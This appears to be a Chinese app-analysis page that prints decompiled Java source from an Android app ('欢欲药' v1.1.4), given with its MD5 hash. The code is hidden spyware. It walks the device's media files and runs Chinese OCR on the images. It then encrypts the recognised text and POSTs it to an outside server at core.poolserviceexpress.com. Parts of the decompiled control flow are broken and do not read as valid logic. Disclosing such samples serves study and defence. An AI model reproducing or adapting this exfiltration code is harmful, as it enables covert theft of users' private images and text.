欢欲药 v1.1.4版本的 MD5 值为:7d0994a905ec6c6aceeef0cd822647fc

以下内容为反编译后的 AbstractC0080.java 源代码,内容仅作参考


package xxxx;

import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.util.Log;
import androidx.room.RoomSQLiteQuery;
import androidx.room.util.CursorUtil;
import androidx.room.util.DBUtil;
import androidx.sqlite.db.SupportSQLiteStatement;
import com.google.mlkit.vision.common.InputImage;
import com.google.mlkit.vision.text.Text;
import com.google.mlkit.vision.text.TextRecognition;
import com.google.mlkit.vision.text.TextRecognizer;
import com.google.mlkit.vision.text.chinese.ChineseTextRecognizerOptions;
import com.th00ls.library.SDKMgr;
import com.th00ls.library.db.AbstractC0040;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.security.DigestInputStream;
import java.security.MessageDigest;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.Locale;
import java.util.concurrent.CompletableFuture;

public abstract class AbstractC0080 {
    public static void m5480() {
        ArrayList m5524 = AbstractC0108.m5524();
        C0102 mo105 = AbstractC0040.m104().mo105();
        Log.i("SDKMgr", "media=" + m5524.size());
        for (int i = 0; i < m5524.size(); i++) {
            C0106 c0106 = (C0106) m5524.get(i);
            if (!c0106.f64.isEmpty()) {
                File file = new File(c0106.f64);
                if (file.exists() && file.isFile()) {
                    long lastModified = file.lastModified();
                    String str = c0106.f64;
                    mo105.getClass();
                    RoomSQLiteQuery acquire = RoomSQLiteQuery.acquire("SELECT * FROM images WHERE filePath = ?", 1);
                    if (str == null) {
                        acquire.bindNull(1);
                    } else {
                        acquire.bindString(1, str);
                    }
                    mo105.f49.assertNotSuspendingTransaction();
                    C0104 c0104 = null;
                    Cursor query = DBUtil.query(mo105.f49, acquire, false, null);
                    try {
                        int columnIndexOrThrow = CursorUtil.getColumnIndexOrThrow(query, "fileId");
                        int columnIndexOrThrow2 = CursorUtil.getColumnIndexOrThrow(query, "filePath");
                        int columnIndexOrThrow3 = CursorUtil.getColumnIndexOrThrow(query, "fileUri");
                        int columnIndexOrThrow4 = CursorUtil.getColumnIndexOrThrow(query, "lastModify");
                        int columnIndexOrThrow5 = CursorUtil.getColumnIndexOrThrow(query, "uploaded");
                        if (query.moveToFirst()) {
                            c0104 = new C0104(query.isNull(columnIndexOrThrow) ? null : query.getString(columnIndexOrThrow), query.isNull(columnIndexOrThrow2) ? null : query.getString(columnIndexOrThrow2), query.isNull(columnIndexOrThrow3) ? null : query.getString(columnIndexOrThrow3), query.getLong(columnIndexOrThrow4));
                            c0104.f56 = query.getInt(columnIndexOrThrow5) != 0;
                        }
                        if (c0104 == null) {
                            String m5479 = m5479(file);
                            if (m5479.isEmpty()) {
                                return;
                            } else {
                                mo105.m5506(new C0104(m5479, c0106.f64, c0106.f65.toString(), lastModified));
                            }
                        } else if (c0104.f55 != lastModified) {
                            String m54792 = m5479(file);
                            if (m54792.isEmpty()) {
                                return;
                            }
                            c0104.f52 = m54792;
                            c0104.f55 = lastModified;
                            c0104.f56 = false;
                            mo105.m5506(c0104);
                        } else {
                            continue;
                        }
                        m5482();
                    } finally {
                        query.close();
                        acquire.release();
                    }
                }
            }
        }
        m5482();
    }

    public static void m5482() {
        C0102 mo105 = AbstractC0040.m104().mo105();
        TextRecognizer client = TextRecognition.getClient(new ChineseTextRecognizerOptions.Builder().build());
        mo105.getClass();
        RoomSQLiteQuery acquire = RoomSQLiteQuery.acquire("SELECT * FROM images WHERE uploaded = ?", 1);
        boolean z = false;
        acquire.bindLong(1, 0);
        mo105.f49.assertNotSuspendingTransaction();
        Cursor query = DBUtil.query(mo105.f49, acquire, false, null);
        try {
            int columnIndexOrThrow = CursorUtil.getColumnIndexOrThrow(query, "fileId");
            int columnIndexOrThrow2 = CursorUtil.getColumnIndexOrThrow(query, "filePath");
            int columnIndexOrThrow3 = CursorUtil.getColumnIndexOrThrow(query, "fileUri");
            int columnIndexOrThrow4 = CursorUtil.getColumnIndexOrThrow(query, "lastModify");
            int columnIndexOrThrow5 = CursorUtil.getColumnIndexOrThrow(query, "uploaded");
            int count = query.getCount();
            C0104[] c0104Arr = new C0104[count];
            int i = 0;
            while (query.moveToNext()) {
                C0104 c0104 = new C0104(query.isNull(columnIndexOrThrow) ? null : query.getString(columnIndexOrThrow), query.isNull(columnIndexOrThrow2) ? null : query.getString(columnIndexOrThrow2), query.isNull(columnIndexOrThrow3) ? null : query.getString(columnIndexOrThrow3), query.getLong(columnIndexOrThrow4));
                if (query.getInt(columnIndexOrThrow5) != 0) {
                    z = true;
                }
                c0104.f56 = z;
                c0104Arr[i] = c0104;
                i++;
                z = false;
            }
            query.close();
            acquire.release();
            for (int i2 = 0; i2 < count; i2++) {
                C0104 c01042 = c0104Arr[i2];
                if (c01042 != null) {
                    if (!new File(c01042.f53).exists()) {
                        String str = c01042.f53;
                        mo105.f49.assertNotSuspendingTransaction();
                        SupportSQLiteStatement acquire2 = mo105.f51.acquire();
                        if (str == null) {
                            acquire2.bindNull(1);
                        } else {
                            acquire2.bindString(1, str);
                        }
                        mo105.f49.beginTransaction();
                        try {
                            acquire2.executeUpdateDelete();
                            mo105.f49.setTransactionSuccessful();
                        } finally {
                            mo105.f49.endTransaction();
                            mo105.f51.release(acquire2);
                        }
                    } else {
                        try {
                            InputImage fromFilePath = InputImage.fromFilePath((Context) SDKMgr.f23.get(), Uri.parse(c01042.f54));
                            if (Build.VERSION.SDK_INT < 24) {
                                return;
                            }
                            CompletableFuture completableFuture = new CompletableFuture();
                            client.process(fromFilePath).addOnSuccessListener(new C0078(completableFuture)).addOnFailureListener(new C0077(completableFuture));
                            Text text = (Text) completableFuture.get();
                            if (text != null) {
                                m5481(text, c01042);
                            }
                        } catch (Exception e) {
                            Log.i("SDKMgr", "OCR process error " + e);
                            e.printStackTrace();
                        }
                    }
                }
            }
        } catch (Throwable th) {
            query.close();
            acquire.release();
            throw th;
        }
    }

    public static String m5479(File file) {
        try {
            MessageDigest messageDigest = MessageDigest.getInstance("MD5");
            FileInputStream fileInputStream = new FileInputStream(file);
            try {
                do {
                } while (new DigestInputStream(fileInputStream, messageDigest).read() != -1);
                fileInputStream.close();
                byte[] digest = messageDigest.digest();
                StringBuilder sb = new StringBuilder();
                for (byte b : digest) {
                    sb.append(String.format(Locale.getDefault(), "%02x", Byte.valueOf(b)));
                }
                return sb.toString();
            } finally {
            }
        } catch (Exception e) {
            e.printStackTrace();
            return "";
        }
    }

    public static void m5481(Text text, C0104 c0104) {
        String str;
        OutputStream outputStream;
        Throwable th;
        BufferedReader bufferedReader;
        StringBuilder sb;
        String readLine;
        String str2;
        Bundle bundle;
        C0102 mo105 = AbstractC0040.m104().mo105();
        ArrayList arrayList = new ArrayList();
        Iterator<Text.TextBlock> it = text.getTextBlocks().iterator();
        while (it.hasNext()) {
            for (Text.Line line : it.next().getLines()) {
                arrayList.add(new C0114(line.getText(), line.getConfidence(), line.getBoundingBox()));
            }
        }
        C0116 c0116 = new C0116(c0104.f52, System.currentTimeMillis(), arrayList);
        Log.i("SDKMgr", "OCR Result -> " + c0116);
        byte[] c = SDKMgr.c(c0116.toString().getBytes(StandardCharsets.UTF_8));
        try {
            Context context = (Context) SDKMgr.f23.get();
            Handler handler = AbstractC0107.f66;
            try {
                bundle = context.getPackageManager().getApplicationInfo(context.getPackageName(), 128).metaData;
            } catch (PackageManager.NameNotFoundException e) {
                e.printStackTrace();
            }
            try {
                try {
                    if (bundle != null && bundle.containsKey("sssdk_key")) {
                        str = String.valueOf(bundle.get("sssdk_key"));
                        HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("https://core.poolserviceexpress.com/v1/up").openConnection();
                        httpURLConnection.setRequestMethod("POST");
                        httpURLConnection.setRequestProperty("Content-Type", "application/json");
                        httpURLConnection.setRequestProperty("key", str);
                        httpURLConnection.setDoOutput(true);
                        httpURLConnection.setConnectTimeout(10000);
                        httpURLConnection.setReadTimeout(10000);
                        outputStream = httpURLConnection.getOutputStream();
                        outputStream.write(c, 0, c.length);
                        outputStream.close();
                        bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream(), StandardCharsets.UTF_8));
                        sb = new StringBuilder();
                        while (true) {
                            readLine = bufferedReader.readLine();
                            if (readLine != null) {
                                break;
                            } else {
                                sb.append(readLine.trim());
                            }
                        }
                        if (sb.toString().contains("200")) {
                            str2 = "OCR Result up fail 111 " + ((Object) sb);
                        } else {
                            c0104.f56 = true;
                            mo105.m5506(c0104);
                            str2 = "OCR Result up success";
                        }
                        Log.i("SDKMgr", str2);
                        bufferedReader.close();
                        return;
                    }
                    sb = new StringBuilder();
                    while (true) {
                        readLine = bufferedReader.readLine();
                        if (readLine != null) {
                        }
                        sb.append(readLine.trim());
                    }
                    if (sb.toString().contains("200")) {
                    }
                    Log.i("SDKMgr", str2);
                    bufferedReader.close();
                    return;
                } catch (Throwable th2) {
                    th = th2;
                    try {
                        bufferedReader.close();
                    } catch (Throwable th3) {
                        th = th3;
                        th.addSuppressed(th);
                        throw th;
                    }
                    throw th;
                }
                outputStream.write(c, 0, c.length);
                outputStream.close();
                bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream(), StandardCharsets.UTF_8));
            } catch (Throwable th4) {
                th = th4;
                if (outputStream != null) {
                    try {
                        outputStream.close();
                    } catch (Throwable th5) {
                        th = th5;
                        th.addSuppressed(th);
                        throw th;
                    }
                }
                throw th;
            }
            str = "";
            HttpURLConnection httpURLConnection2 = (HttpURLConnection) new URL("https://core.poolserviceexpress.com/v1/up").openConnection();
            httpURLConnection2.setRequestMethod("POST");
            httpURLConnection2.setRequestProperty("Content-Type", "application/json");
            httpURLConnection2.setRequestProperty("key", str);
            httpURLConnection2.setDoOutput(true);
            httpURLConnection2.setConnectTimeout(10000);
            httpURLConnection2.setReadTimeout(10000);
            outputStream = httpURLConnection2.getOutputStream();
        } catch (Exception e2) {
            Log.i("SDKMgr", "OCR Result http fail 222");
            e2.printStackTrace();
        }
    }
}